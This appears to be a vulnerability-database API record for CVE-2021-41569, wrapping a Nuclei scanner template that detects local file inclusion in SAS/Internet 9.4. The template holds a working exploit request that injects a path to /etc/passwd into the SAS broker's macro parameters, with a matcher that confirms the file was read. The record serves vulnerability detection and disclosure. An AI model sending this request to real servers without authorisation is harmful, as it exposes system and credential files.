{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-41569/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-41569/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-41569/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-41569/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-41569/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-41569"},"sightings":{"href":"/api/v1/sightings/cve-2021-41569"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-41569.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-41569\n\ninfo:\n  name: SAS/Internet 9.4 1520 - Local File Inclusion\n  author: 0x_Akoko\n  severity: high\n  description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.\n  remediation: |\n    Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.\n  reference:\n    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas\n    - https://support.sas.com/kb/68/641.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-41569\n    cwe-id: CWE-829\n    epss-score: 0.07968\n    epss-percentile: 0.94537\n    cpe: cpe:2.3:a:sas:sas\\/intrnet:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: sas\n    product: sas\\/intrnet\n  tags: cve2021,cve,sas,lfi,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:[x*]:0:0\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100b0721e22b61fc22a233d2879ab412e2c08841475af9198e2a130aa2e7a7c065902204c7e11f171c3528c9c4b04a1d2a818985109410ebc9bdcab36374214d857ed00:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-41569"}